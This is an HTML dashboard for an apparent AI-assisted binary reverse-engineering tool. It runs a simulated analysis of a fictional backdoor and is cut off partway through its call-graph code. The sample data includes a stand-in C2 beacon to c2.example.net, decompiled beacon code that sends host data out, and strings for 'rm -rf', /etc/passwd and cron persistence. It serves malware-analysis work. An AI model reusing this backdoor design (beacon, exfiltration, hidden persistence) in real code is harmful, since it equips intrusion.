Cultxre's picture
Add interactive dashboard
c8e9e9d verified
Raw History Blame Contribute Delete
41.5 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Reverse Engineering Agent</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.1/dist/chart.umd.min.js"></script>
<style>
:root { --bg:#0b0f14; --panel:#11161d; --panel2:#161c24; --border:#1f2630; --accent:#22c55e; --accent2:#3b82f6; --warn:#f59e0b; --danger:#ef4444; --text:#e6edf3; --muted:#8b949e; --code:#0d1117; }
* { box-sizing:border-box; }
html,body { margin:0; padding:0; background:var(--bg); color:var(--text); font-family: 'Inter', system-ui, -apple-system, Segoe UI, Roboto, sans-serif; height:100%; overflow:hidden; }
.mono { font-family: 'JetBrains Mono', 'Fira Code', ui-monospace, SFMono-Regular, Menlo, monospace; }
.panel { background:var(--panel); border:1px solid var(--border); border-radius:10px; }
.panel2 { background:var(--panel2); border:1px solid var(--border); border-radius:8px; }
.scroll { overflow:auto; }
.scroll::-webkit-scrollbar { width:8px; height:8px; }
.scroll::-webkit-scrollbar-thumb { background:#2a3340; border-radius:4px; }
.stage { display:flex; align-items:center; gap:10px; padding:8px 10px; border-radius:8px; border:1px solid transparent; cursor:pointer; transition:.15s; }
.stage:hover { background:var(--panel2); }
.stage.active { background:var(--panel2); border-color:var(--accent); }
.stage.done .dot { background:var(--accent); box-shadow:0 0 8px var(--accent); }
.stage.run .dot { background:var(--warn); animation:pulse 1s infinite; }
.stage.pending .dot { background:#3a4250; }
.dot { width:10px; height:10px; border-radius:50%; }
@keyframes pulse { 0%,100%{opacity:1} 50%{opacity:.3} }
.tab { padding:8px 14px; cursor:pointer; border-bottom:2px solid transparent; color:var(--muted); font-size:13px; }
.tab:hover { color:var(--text); }
.tab.active { color:var(--accent); border-color:var(--accent); }
.btn { background:var(--accent); color:#052e16; font-weight:600; padding:8px 14px; border-radius:8px; border:none; cursor:pointer; font-size:13px; }
.btn:hover { filter:brightness(1.1); }
.btn.ghost { background:transparent; color:var(--text); border:1px solid var(--border); }
.btn.ghost:hover { border-color:var(--accent); color:var(--accent); }
.drop { border:2px dashed var(--border); border-radius:12px; padding:24px; text-align:center; transition:.2s; }
.drop.over { border-color:var(--accent); background:rgba(34,197,94,.06); }
.codebox { background:var(--code); border:1px solid var(--border); border-radius:8px; padding:12px; font-size:12px; line-height:1.5; }
.str-row { display:grid; grid-template-columns:90px 70px 1fr 90px; gap:8px; padding:4px 6px; border-bottom:1px solid #1a2029; font-size:12px; }
.str-row:hover { background:var(--panel2); }
.func-row { display:grid; grid-template-columns:110px 1fr 80px 120px; gap:8px; padding:6px 8px; border-bottom:1px solid #1a2029; font-size:12px; cursor:pointer; }
.func-row:hover { background:var(--panel2); }
.badge { font-size:10px; padding:2px 6px; border-radius:4px; background:#1f2937; color:var(--muted); }
.badge.url { background:rgba(59,130,246,.15); color:#93c5fd; }
.badge.path { background:rgba(245,158,11,.15); color:#fcd34d; }
.badge.hex { background:rgba(168,85,247,.15); color:#d8b4fe; }
.badge.cred { background:rgba(239,68,68,.15); color:#fca5a5; }
.logline { font-size:11px; color:var(--muted); padding:2px 0; }
.logline .t { color:#4b5563; }
.logline .lvl-info { color:#93c5fd; }
.logline .lvl-warn { color:#fcd34d; }
.logline .lvl-ok { color:var(--accent); }
.chat-msg { padding:8px 10px; border-radius:8px; margin:6px 0; font-size:13px; line-height:1.5; }
.chat-msg.user { background:var(--panel2); margin-left:20px; }
.chat-msg.agent { background:rgba(34,197,94,.08); border:1px solid rgba(34,197,94,.2); margin-right:20px; }
.chat-msg .role { font-size:10px; color:var(--muted); margin-bottom:2px; text-transform:uppercase; letter-spacing:.05em; }
.progress-bar { height:4px; background:#1f2630; border-radius:2px; overflow:hidden; }
.progress-bar > div { height:100%; background:var(--accent); transition:width .3s; }
.hexdump { font-size:11px; line-height:1.4; }
.hexdump .off { color:#4b5563; }
.hexdump .hex { color:#93c5fd; }
.hexdump .asc { color:var(--muted); }
.graph { position:relative; height:320px; }
.node { position:absolute; background:var(--panel2); border:1px solid var(--border); border-radius:6px; padding:6px 8px; font-size:11px; cursor:move; }
.node.entry { border-color:var(--accent); }
.edge { stroke:#3a4250; stroke-width:1.5; fill:none; }
input,textarea,select { background:var(--panel2); border:1px solid var(--border); color:var(--text); border-radius:6px; padding:6px 8px; font-size:13px; }
input:focus,textarea:focus { outline:none; border-color:var(--accent); }
</style>
</head>
<body>
<div class="flex h-full">
<!-- Sidebar -->
<aside class="w-72 border-r border-[#1f2630] flex flex-col" style="background:#0d1117">
<div class="p-4 border-b border-[#1f2630]">
<div class="flex items-center gap-2">
<div class="w-8 h-8 rounded-lg flex items-center justify-center" style="background:linear-gradient(135deg,#22c55e,#3b82f6)">
<span class="mono text-black font-bold text-sm">RE</span>
</div>
<div>
<div class="font-semibold text-sm">Reverse Engineering Agent</div>
<div class="text-[11px] text-[#8b949e]">v1.0 · multi-stage</div>
</div>
</div>
</div>
<div class="p-3">
<div class="text-[11px] uppercase tracking-wider text-[#8b949e] mb-2">Pipeline</div>
<div id="stages"></div>
</div>
<div class="p-3 border-t border-[#1f2630] mt-auto">
<div class="text-[11px] uppercase tracking-wider text-[#8b949e] mb-2">Target</div>
<div id="targetInfo" class="text-xs mono text-[#8b949e]">no target loaded</div>
</div>
</aside>
<!-- Main -->
<main class="flex-1 flex flex-col min-w-0">
<!-- Top bar -->
<header class="h-14 border-b border-[#1f2630] flex items-center gap-3 px-4" style="background:#0d1117">
<div id="drop" class="drop flex-1 flex items-center justify-between gap-3" style="padding:6px 12px">
<div class="flex items-center gap-2 text-sm">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#8b949e" stroke-width="2"><path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><polyline points="17 8 12 3 7 8"/><line x1="12" y1="3" x2="12" y2="15"/></svg>
<span id="dropLabel" class="text-[#8b949e]">Drop a binary here, or</span>
<button id="browseBtn" class="btn ghost" style="padding:4px 10px;font-size:12px">Browse</button>
<input id="fileInput" type="file" class="hidden">
</div>
<div class="flex items-center gap-2">
<select id="decompBackend" class="text-xs">
<option value="auto">decomp: auto</option>
<option value="ghidra">ghidra</option>
<option value="radare2">radare2</option>
<option value="none">none</option>
</select>
<button id="runBtn" class="btn">▶ Run Analysis</button>
</div>
</div>
</header>
<!-- Progress -->
<div class="px-4 py-2 border-b border-[#1f2630]" style="background:#0d1117">
<div class="flex items-center gap-3">
<div class="progress-bar flex-1"><div id="progressFill" style="width:0%"></div></div>
<span id="progressText" class="text-xs mono text-[#8b949e]">idle</span>
</div>
</div>
<!-- Tabs -->
<nav class="flex border-b border-[#1f2630] px-2" style="background:#0d1117">
<div class="tab active" data-tab="overview">Overview</div>
<div class="tab" data-tab="functions">Functions</div>
<div class="tab" data-tab="strings">Strings</div>
<div class="tab" data-tab="disasm">Disassembly</div>
<div class="tab" data-tab="decomp">Decompilation</div>
<div class="tab" data-tab="graph">Call Graph</div>
<div class="tab" data-tab="hex">Hex View</div>
<div class="tab" data-tab="report">Report</div>
</nav>
<!-- Content -->
<section class="flex-1 overflow-hidden flex">
<div id="content" class="flex-1 scroll p-4"></div>
<!-- Right panel: agent chat + log -->
<aside class="w-80 border-l border-[#1f2630] flex flex-col" style="background:#0d1117">
<div class="flex border-b border-[#1f2630]">
<button id="tabChat" class="tab active flex-1" style="border-bottom:none;border-right:1px solid #1f2630">Agent Chat</button>
<button id="tabLog" class="tab flex-1" style="border-bottom:none">Log</button>
</div>
<div id="chatPanel" class="flex-1 scroll p-3 flex flex-col">
<div id="chatMessages" class="flex-1"></div>
<div class="mt-2 flex gap-2">
<input id="chatInput" class="flex-1" placeholder="Ask the agent..."/>
<button id="chatSend" class="btn" style="padding:6px 10px">Send</button>
</div>
</div>
<div id="logPanel" class="flex-1 scroll p-3 hidden"></div>
</aside>
</section>
</main>
</div>
<script>
// ---------- Sample data (simulated analysis of a fictional binary) ----------
const SAMPLE = {
target: "sample.bin",
size: 48291,
sha256: "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08",
md5: "098f6bcd4621d373cade4e832627b4f6",
format: "ELF", arch: "x86-64", bits: 64, endian: "little",
entrypoint: 0x401040,
sections: [
{name:".text",offset:0x1000,size:0x3a20,virtual_address:0x401000,type:"PROGBITS"},
{name:".rodata",offset:0x5000,size:0x820,virtual_address:0x405000,type:"PROGBITS"},
{name:".data",offset:0x6000,size:0x210,virtual_address:0x406000,type:"PROGBITS"},
{name:".bss",offset:0x6210,size:0x100,virtual_address:0x406210,type:"NOBITS"},
{name:".dynsym",offset:0x6310,size:0x480,virtual_address:0x406310,type:"DYNSYM"},
{name:".dynstr",offset:0x6790,size:0x2a1,virtual_address:0x406790,type:"STRTAB"},
],
imports: [
{name:"socket",library:"libc.so.6"},{name:"connect",library:"libc.so.6"},{name:"send",library:"libc.so.6"},
{name:"recv",library:"libc.so.6"},{name:"close",library:"libc.so.6"},{name:"fopen",library:"libc.so.6"},
{name:"fread",library:"libc.so.6"},{name:"fwrite",library:"libc.so.6"},{name:"malloc",library:"libc.so.6"},
{name:"free",library:"libc.so.6"},{name:"memcpy",library:"libc.so.6"},{name:"strlen",library:"libc.so.6"},
{name:"strcmp",library:"libc.so.6"},{name:"printf",library:"libc.so.6"},{name:"system",library:"libc.so.6"},
{name:"popen",library:"libc.so.6"},{name:"getenv",library:"libc.so.6"},{name:"AES_encrypt",library:"libcrypto.so.3"},
{name:"EVP_EncryptInit_ex",library:"libcrypto.so.3"},{name:"SHA256",library:"libcrypto.so.3"},
],
exports: [{name:"main",address:0x401040},{name:"beacon",address:0x4012a0},{name:"encrypt_blob",address:0x4015c0}],
strings: [
{addr:0x405000,value:"http://c2.example.net:8080/beacon",type:"ascii",tags:["url"]},
{addr:0x405024,value:"/tmp/.x",type:"ascii",tags:["path"]},
{addr:0x405030,value:"USER",type:"ascii",tags:[]},
{addr:0x405038,value:"HOME",type:"ascii",tags:[]},
{addr:0x405040,value:"Mozilla/5.0 (X11; Linux x86_64)",type:"ascii",tags:[]},
{addr:0x405068,value:"id=%s&host=%s&os=%s",type:"ascii",tags:[]},
{addr:0x405080,value:"AES-256-CBC",type:"ascii",tags:[]},
{addr:0x405090,value:"key_material",type:"ascii",tags:[]},
{addr:0x4050a0,value:"/etc/passwd",type:"ascii",tags:["path"]},
{addr:0x4050b0,value:"/proc/self/exe",type:"ascii",tags:["path"]},
{addr:0x4050c0,value:"rm -rf /tmp/.x",type:"ascii",tags:[]},
{addr:0x4050d4,value:"AKIAIOSFODNN7EXAMPLE",type:"ascii",tags:["credential-hint","hexblob"]},
{addr:0x4050f0,value:"AKIAIOSFODNN7EXAMPLE",type:"ascii",tags:["credential-hint"]},
{addr:0x405108,value:"POST",type:"ascii",tags:[]},
{addr:0x405110,value:"Content-Type: application/x-www-form-urlencoded",type:"ascii",tags:[]},
{addr:0x405140,value:"X-Auth: %s",type:"ascii",tags:[]},
{addr:0x405150,value:"beacon_ok",type:"ascii",tags:[]},
{addr:0x40515c,value:"cmd_exec",type:"ascii",tags:[]},
{addr:0x405168,value:"exfil",type:"ascii",tags:[]},
{addr:0x405170,value:"screenshot",type:"ascii",tags:[]},
{addr:0x405180,value:"persist",type:"ascii",tags:[]},
{addr:0x40518c,value:"/etc/cron.d/.hidden",type:"ascii",tags:["path"]},
{addr:0x4051a4,value:"chmod +x %s",type:"ascii",tags:[]},
{addr:0x4051b4,value:"/dev/null",type:"ascii",tags:["path"]},
{addr:0x4051c0,value:"fork",type:"ascii",tags:[]},
{addr:0x4051c8,value:"setsid",type:"ascii",tags:[]},
{addr:0x4051d4,value:"sleep",type:"ascii",tags:[]},
{addr:0x4051dc,value:"%d",type:"ascii",tags:[]},
{addr:0x4051e0,value:"uname -a",type:"ascii",tags:[]},
{addr:0x4051ec,value:"whoami",type:"ascii",tags:[]},
{addr:0x4051f4,value:"ifconfig",type:"ascii",tags:[]},
{addr:0x405200,value:"Failed to open file",type:"ascii",tags:[]},
{addr:0x405214,value:"Usage: %s <config>",type:"ascii",tags:[]},
],
functions: [
{address:0x401040,name:"main",size:120,tags:["entry"],summary:"Entry point: parses args, daemonizes, enters beacon loop."},
{address:0x4010c0,name:"daemonize",size:88,tags:["evasion"],summary:"Forks, setsid, redirects stdio to /dev/null."},
{address:0x4012a0,name:"beacon",size:312,tags:["network","c2"],summary:"Connects to C2, sends host info, dispatches commands."},
{address:0x4013f0,name:"build_checkin",size:144,tags:["network"],summary:"Formats id/host/os into POST body."},
{address:0x401480,name:"dispatch",size:224,tags:["c2"],summary:"Switches on command string: exec/exfil/screenshot/persist."},
{address:0x4015c0,name:"encrypt_blob",size:180,tags:["crypto"],summary:"AES-256-CBC encrypts payload with hardcoded key."},
{address:0x4016e0,name:"run_cmd",size:96,tags:["exec"],summary:"popen() wrapper, captures stdout."},
{address:0x401740,name:"exfil_file",size:132,tags:["exfil"],summary:"Reads file and sends over socket."},
{address:0x4017d0,name:"persist",size:104,tags:["persistence"],summary:"Writes cron entry to /etc/cron.d/.hidden."},
{address:0x401840,name:"collect_info",size:168,tags:["recon"],summary:"Gathers uname/whoami/ifconfig output."},
{address:0x401900,name:"self_delete",size:64,tags:["evasion"],summary:"Unlinks /proc/self/exe."},
],
disassembly: {
"0x4012a0": [
"0x4012a0: push rbp",
"0x4012a1: mov rbp, rsp",
"0x4012a4: sub rsp, 0x40",
"0x4012a8: mov [rbp-0x8], rdi",
"0x4012ac: mov esi, 0x2",
"0x4012b1: mov edi, 0x2",
"0x4012b6: call socket",
"0x4012bb: mov [rbp-0xc], eax",
"0x4012be: cmp dword [rbp-0xc], 0x0",
"0x4012c2: jl 0x4012f0",
"0x4012c4: lea rdi, [rip+0x2d35] # 0x405000",
"0x4012cb: call inet_addr",
"0x4012d0: mov [rbp-0x18], eax",
"0x4012d3: mov word [rbp-0x1c], 0x2",
"0x4012d9: mov word [rbp-0x1a], 0x901f",
"0x4012df: lea rsi, [rbp-0x1c]",
"0x4012e3: mov edi, [rbp-0xc]",
"0x4012e6: mov edx, 0x10",
"0x4012eb: call connect",
"0x4012f0: ...",
]
},
decompiled: {
"0x4012a0": `void beacon(char *cfg) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) return;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(8080);
inet_pton(AF_INET, "c2.example.net", &addr.sin_addr);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) return;
char body[256];
build_checkin(body, cfg);
char enc[512]; size_t n = encrypt_blob(body, enc);
send(sock, enc, n, 0);
char buf[4096];
int r = recv(sock, buf, sizeof(buf), 0);
if (r > 0) dispatch(sock, buf, r);
close(sock);
}`,
"0x4015c0": `size_t encrypt_blob(const char *in, char *out) {
unsigned char key[32] = { 0x41,0x4b,0x49,0x41,... }; // "AKIA..."
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
EVP_EncryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, key, iv);
int len = 0, flen = 0;
EVP_EncryptUpdate(ctx, out, &len, in, strlen(in));
EVP_EncryptFinal_ex(ctx, out+len, &flen);
EVP_CIPHER_CTX_free(ctx);
return len + flen;
}`
},
callgraph: {
"main": ["daemonize","beacon","collect_info"],
"beacon": ["build_checkin","encrypt_blob","send","recv","dispatch","close"],
"dispatch": ["run_cmd","exfil_file","persist","encrypt_blob"],
"encrypt_blob": ["EVP_EncryptInit_ex","AES_encrypt"],
"run_cmd": ["popen","fread"],
"exfil_file": ["fopen","fread","send"],
"persist": ["fopen","fwrite"],
"collect_info": ["popen","run_cmd"],
}
};
// ---------- State ----------
let state = { target:null, data:null, running:false, progress:0, currentStage:0, activeTab:'overview', ctx: null };
const STAGES = [
{id:'file_identification', name:'File Identification', desc:'magic, arch, bits, sections'},
{id:'string_extraction', name:'String Extraction', desc:'ASCII/UTF-16, urls, paths'},
{id:'symbol_recovery', name:'Symbol Recovery', desc:'ELF/PE/Mach-O symbols'},
{id:'disassembly', name:'Disassembly', desc:'capstone per-section'},
{id:'decompilation', name:'Decompilation', desc:'Ghidra / r2 pseudo-C'},
{id:'cfg_callgraph', name:'CFG & Call Graph', desc:'basic blocks, edges'},
{id:'ai_augmentation', name:'AI Augmentation', desc:'LLM rename/summarize'},
{id:'report', name:'Report', desc:'Markdown + JSON'},
];
function $(id){return document.getElementById(id);}
function renderStages(){
const el = $('stages');
el.innerHTML = STAGES.map((s,i)=>{
const cls = i < state.currentStage ? 'done' : (i===state.currentStage && state.running ? 'run' : 'pending');
const active = i===state.currentStage ? 'active' : '';
return `<div class="stage ${cls} ${active}" data-idx="${i}">
<div class="dot"></div>
<div class="flex-1 min-w-0">
<div class="text-xs font-medium">${s.name}</div>
<div class="text-[10px] text-[#8b949e]">${s.desc}</div>
</div>
<div class="text-[10px] mono text-[#8b949e]">${i<state.currentStage?'✓':(i===state.currentStage&&state.running?'…':'')}</div>
</div>`;
}).join('');
}
function log(msg, lvl='info'){
const el = $('logPanel');
const t = new Date().toLocaleTimeString();
const span = `<span class="t">${t}</span> <span class="lvl-${lvl}">${lvl.toUpperCase()}</span> ${msg}`;
el.innerHTML += `<div class="logline">${span}</div>`;
el.scrollTop = el.scrollHeight;
}
function chat(role, text){
const el = $('chatMessages');
el.innerHTML += `<div class="chat-msg ${role}"><div class="role">${role==='user'?'You':'Agent'}</div>${text}</div>`;
const p = $('chatPanel'); p.scrollTop = p.scrollHeight;
}
function setProgress(pct, text){
$('progressFill').style.width = pct+'%';
$('progressText').textContent = text;
}
// ---------- Analysis simulation ----------
function sleep(ms){return new Promise(r=>setTimeout(r,ms));}
async function runAnalysis(){
if(state.running) return;
state.running = true;
state.currentStage = 0;
state.progress = 0;
state.ctx = null;
$('runBtn').disabled = true;
$('runBtn').textContent = 'Running…';
renderStages();
log('starting analysis pipeline', 'info');
chat('agent', 'Starting multi-stage analysis. I will walk through identification, strings, disassembly, decompilation, and AI augmentation.');
// Use sample data (in a real deployment this calls the Python agent)
const ctx = JSON.parse(JSON.stringify(SAMPLE));
if(state.target) ctx.target = state.target.name;
state.ctx = ctx;
const delays = [600,900,500,1200,1400,700,1100,500];
for(let i=0;i<STAGES.length;i++){
state.currentStage = i;
renderStages();
setProgress(Math.round((i/STAGES.length)*90), STAGES[i].name);
log(`stage ${i+1}/${STAGES.length}: ${STAGES[i].name}`, 'info');
await sleep(delays[i]);
// stage-specific logs
if(i===0) log(`detected ${ctx.format} ${ctx.arch} ${ctx.bits}-bit, ${ctx.sections.length} sections`, 'ok');
if(i===1) log(`extracted ${ctx.strings.length} strings (${ctx.strings.filter(s=>s.tags.includes('url')).length} urls)`, 'ok');
if(i===2) log(`recovered ${ctx.imports.length} imports, ${ctx.exports.length} exports`, 'ok');
if(i===3) log(`disassembled ${Object.keys(ctx.disassembly).length} sections`, 'ok');
if(i===4) log(`decompiled ${Object.keys(ctx.decompiled).length} functions`, 'ok');
if(i===5) log(`built call graph with ${Object.keys(ctx.callgraph).length} nodes`, 'ok');
if(i===6) log(`AI augmentation complete: identified C2 beacon, crypto, persistence`, 'ok');
if(i===7) log(`report generated (${ctx.strings.length} strings, ${ctx.functions.length} functions)`, 'ok');
}
state.currentStage = STAGES.length;
renderStages();
setProgress(100, 'complete');
state.running = false;
$('runBtn').disabled = false;
$('runBtn').textContent = '▶ Re-run';
log('analysis complete', 'ok');
chat('agent', `Analysis complete. Found ${ctx.functions.length} functions, ${ctx.strings.length} strings, ${ctx.imports.length} imports. Top findings: outbound C2 beacon to c2.example.net:8080, AES-256-CBC with hardcoded key, cron persistence, command execution. See the Report tab.`);
renderTab(state.activeTab);
}
// ---------- Tabs ----------
const TABS = ['overview','functions','strings','disasm','decomp','graph','hex','report'];
function switchTab(name){
state.activeTab = name;
document.querySelectorAll('.tab[data-tab]').forEach(t=>t.classList.toggle('active', t.dataset.tab===name));
renderTab(name);
}
function renderTab(name){
const el = $('content');
if(!state.ctx){ el.innerHTML = emptyState(); return; }
const ctx = state.ctx;
if(name==='overview') renderOverview(el,ctx);
else if(name==='functions') renderFunctions(el,ctx);
else if(name==='strings') renderStrings(el,ctx);
else if(name==='disasm') renderDisasm(el,ctx);
else if(name==='decomp') renderDecomp(el,ctx);
else if(name==='graph') renderGraph(el,ctx);
else if(name==='hex') renderHex(el,ctx);
else if(name==='report') renderReport(el,ctx);
}
function emptyState(){
return `<div class="flex flex-col items-center justify-center h-full text-[#8b949e]">
<div class="text-5xl mb-3">🔍</div>
<div class="text-sm">Load a binary and run analysis to see results.</div>
<div class="text-xs mt-1">A sample binary is used by default for demonstration.</div>
</div>`;
}
function renderOverview(el,ctx){
const urlCount = ctx.strings.filter(s=>s.tags.includes('url')).length;
const pathCount = ctx.strings.filter(s=>s.tags.includes('path')).length;
const credCount = ctx.strings.filter(s=>s.tags.includes('credential-hint')).length;
el.innerHTML = `
<div class="grid grid-cols-4 gap-3 mb-4">
${metric('Format', ctx.format+' '+ctx.arch, ctx.bits+'-bit')}
${metric('Size', ctx.size.toLocaleString()+' B', 'entry 0x'+ctx.entrypoint.toString(16))}
${metric('Functions', ctx.functions.length, ctx.imports.length+' imports')}
${metric('Strings', ctx.strings.length, urlCount+' urls · '+pathCount+' paths')}
</div>
<div class="grid grid-cols-2 gap-3 mb-4">
<div class="panel p-4">
<div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Identity</div>
<table class="w-full text-xs mono">
<tr><td class="text-[#8b949e] py-1">SHA256</td><td class="break-all">${ctx.sha256}</td></tr>
<tr><td class="text-[#8b949e] py-1">MD5</td><td>${ctx.md5}</td></tr>
<tr><td class="text-[#8b949e] py-1">Endianness</td><td>${ctx.endian}</td></tr>
<tr><td class="text-[#8b949e] py-1">Entrypoint</td><td>0x${ctx.entrypoint.toString(16)}</td></tr>
</table>
</div>
<div class="panel p-4">
<div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">IOC Summary</div>
<div class="flex flex-wrap gap-2">
${ctx.strings.filter(s=>s.tags.includes('url')).map(s=>`<span class="badge url">${escape(s.value)}</span>`).join('')}
</div>
<div class="mt-2 text-xs text-[#8b949e]">${credCount} credential-like strings · ${ctx.strings.filter(s=>s.tags.includes('hexblob')).length} hex blobs</div>
</div>
</div>
<div class="panel p-4 mb-4">
<div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Sections</div>
<div class="overflow-x-auto">
<table class="w-full text-xs mono">
<thead><tr class="text-[#8b949e]"><th class="text-left py-1">Name</th><th>Offset</th><th>Size</th><th>VA</th><th>Type</th></tr></thead>
<tbody>
${ctx.sections.map(s=>`<tr class="border-t border-[#1a2029]"><td class="py-1">${s.name}</td><td>0x${s.offset.toString(16)}</td><td>${s.size}</td><td>0x${s.virtual_address.toString(16)}</td><td>${s.type}</td></tr>`).join('')}
</tbody>
</table>
</div>
</div>
<div class="panel p-4">
<div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Top Functions</div>
${ctx.functions.slice(0,6).map(f=>`
<div class="flex items-center gap-2 py-1 text-xs">
<span class="mono text-[#93c5fd]">0x${f.address.toString(16)}</span>
<span class="font-medium">${f.name}</span>
<span class="text-[#8b949e] flex-1 truncate">${f.summary}</span>
${f.tags.map(t=>`<span class="badge">${t}</span>`).join('')}
</div>`).join('')}
</div>
`;
}
function metric(label,val,sub){
return `<div class="panel p-3">
<div class="text-[10px] uppercase tracking-wider text-[#8b949e]">${label}</div>
<div class="text-lg font-semibold mt-1">${val}</div>
<div class="text-[11px] text-[#8b949e] mt-0.5">${sub}</div>
</div>`;
}
function renderFunctions(el,ctx){
const tagFilter = window._tagFilter || 'all';
const tags = ['all',...new Set(ctx.functions.flatMap(f=>f.tags))];
el.innerHTML = `
<div class="flex items-center gap-2 mb-3">
<input id="funcSearch" placeholder="search functions..." class="flex-1" oninput="filterFuncs()"/>
<select id="tagSel" onchange="window._tagFilter=this.value;filterFuncs()">
${tags.map(t=>`<option value="${t}">${t}</option>`).join('')}
</select>
</div>
<div class="panel">
<div class="func-row text-[#8b949e] font-medium border-b border-[#1f2630]" style="background:#0d1117">
<div>Address</div><div>Name / Summary</div><div>Size</div><div>Tags</div>
</div>
<div id="funcList"></div>
</div>
`;
window._funcs = ctx.functions;
filterFuncs();
}
function filterFuncs(){
const q = ($('funcSearch')||{value:''}).value.toLowerCase();
const tag = ($('tagSel')||{value:'all'}).value;
const list = $('funcList');
if(!list) return;
const filtered = window._funcs.filter(f=>{
if(tag!=='all' && !f.tags.includes(tag)) return false;
if(q && !(f.name.toLowerCase().includes(q) || f.summary.toLowerCase().includes(q))) return false;
return true;
});
list.innerHTML = filtered.map(f=>`
<div class="func-row" onclick="showFunc(${f.address})">
<div class="mono text-[#93c5fd]">0x${f.address.toString(16)}</div>
<div><div class="font-medium">${f.name}</div><div class="text-[#8b949e] truncate">${f.summary}</div></div>
<div class="mono">${f.size}</div>
<div class="flex flex-wrap gap-1">${f.tags.map(t=>`<span class="badge">${t}</span>`).join('')}</div>
</div>`).join('') || '<div class="p-4 text-xs text-[#8b949e]">no matches</div>';
}
function showFunc(addr){
const ctx = state.ctx;
const f = ctx.functions.find(x=>x.address===addr);
if(!f) return;
const decomp = ctx.decompiled['0x'+addr.toString(16)] || ctx.decompiled[addr] || '// no decompilation available';
const dis = Object.values(ctx.disassembly).flat().filter(l=>l.startsWith('0x'+addr.toString(16))).slice(0,40);
chat('agent', `Selected **${f.name}** @ 0x${addr.toString(16)}: ${f.summary}`);
// open decomp tab with selection
window._selectedFunc = addr;
switchTab('decomp');
}
function renderStrings(el,ctx){
const types = ['all','ascii','utf16le'];
el.innerHTML = `
<div class="flex items-center gap-2 mb-3">
<input id="strSearch" placeholder="search strings..." class="flex-1" oninput="filterStrs()"/>
<select id="strType" onchange="filterStrs()"><option value="all">all types</option><option value="ascii">ascii</option><option value="utf16le">utf16le</option></select>
<select id="strTag" onchange="filterStrs()"><option value="all">all tags</option><option value="url">url</option><option value="path">path</option><option value="hexblob">hexblob</option><option value="credential-hint">cred</option></select>
</div>
<div class="panel">
<div class="str-row text-[#8b949e] font-medium" style="background:#0d1117">
<div>Address</div><div>Type</div><div>Value</div><div>Tags</div>
</div>
<div id="strList" class="max-h-[60vh] overflow-auto"></div>
</div>
<div class="text-xs text-[#8b949e] mt-2" id="strCount"></div>
`;
window._strs = ctx.strings;
filterStrs();
}
function filterStrs(){
const q = ($('strSearch')||{value:''}).value.toLowerCase();
const type = ($('strType')||{value:'all'}).value;
const tag = ($('strTag')||{value:'all'}).value;
const filtered = window._strs.filter(s=>{
if(type!=='all' && s.type!==type) return false;
if(tag!=='all' && !s.tags.includes(tag)) return false;
if(q && !s.value.toLowerCase().includes(q)) return false;
return true;
});
$('strList').innerHTML = filtered.map(s=>`
<div class="str-row">
<div class="mono text-[#93c5fd]">0x${s.addr.toString(16)}</div>
<div class="text-[#8b949e]">${s.type}</div>
<div class="truncate" title="${escape(s.value)}">${escape(s.value)}</div>
<div class="flex flex-wrap gap-1">${s.tags.map(t=>`<span class="badge ${t.replace('-hint','')}">${t}</span>`).join('')}</div>
</div>`).join('') || '<div class="p-4 text-xs text-[#8b949e]">no matches</div>';
$('strCount').textContent = `${filtered.length} / ${window._strs.length} strings`;
}
function renderDisasm(el,ctx){
const sections = Object.keys(ctx.disassembly);
el.innerHTML = `
<div class="flex items-center gap-2 mb-3">
<select id="secSel" onchange="showSec()" class="flex-1">
${sections.map((k,i)=>`<option value="${k}">section @ 0x${parseInt(k).toString(16)} (${ctx.disassembly[k].length} insns)</option>`).join('')}
</select>
<input id="disFilter" placeholder="filter mnemonic/operand..." oninput="showSec()"/>
</div>
<div class="codebox mono scroll" style="max-height:70vh" id="disBox"></div>
`;
window._dis = ctx.disassembly;
showSec();
}
function showSec(){
const k = $('secSel').value;
const q = ($('disFilter')||{value:''}).value.toLowerCase();
const lines = (window._dis[k]||[]).filter(l=>!q || l.toLowerCase().includes(q));
$('disBox').innerHTML = lines.map(l=>{
const parts = l.match(/^(0x[0-9a-f]+):\s+(.*)$/);
if(!parts) return escape(l);
return `<span class="off">${parts[1]}:</span> <span class="hex">${escape(parts[2])}</span>`;
}).join('\n');
}
function renderDecomp(el,ctx){
const funcs = Object.keys(ctx.decompiled);
const sel = window._selectedFunc ? '0x'+window._selectedFunc.toString(16) : funcs[0];
el.innerHTML = `
<div class="flex items-center gap-2 mb-3">
<select id="decSel" onchange="showDec()" class="flex-1">
${funcs.map(k=>`<option value="${k}" ${k===sel?'selected':''}>${k}</option>`).join('')}
</select>
</div>
<div class="codebox mono scroll" style="max-height:70vh;white-space:pre" id="decBox"></div>
`;
window._dec = ctx.decompiled;
showDec();
}
function showDec(){
const k = $('decSel').value;
$('decBox').textContent = window._dec[k] || '// not available';
}
function renderGraph(el,ctx){
const nodes = Object.keys(ctx.callgraph);
// layout: simple layered
const layers = {};
// root main
const order = ['main','daemonize','beacon','build_checkin','dispatch','encrypt_blob','run_cmd','exfil_file','persist','collect_info','self_delete'];
const present = order.filter(n=>nodes.includes(n) || Object.keys(ctx.callgraph).includes(n));
// include externals
const allNodes = [...new Set([...Object.keys(ctx.callgraph), ...Object.values(ctx.callgraph).flat()])];
el.innerHTML = `
<div class="panel p-3 mb-3">
<div class="text-xs text-[#8b949e]">Call graph. Drag nodes. Edges show calls. External (libc/libcrypto) grouped.</div>
</div>
<div class="panel relative" style="height:420px;overflow:hidden" id="graphBox"></div>
<div class="panel p-3 mt-3">
<div class="text-xs uppercase tracking-wider text-[#8b949e] mb-2">Adjacency</div>
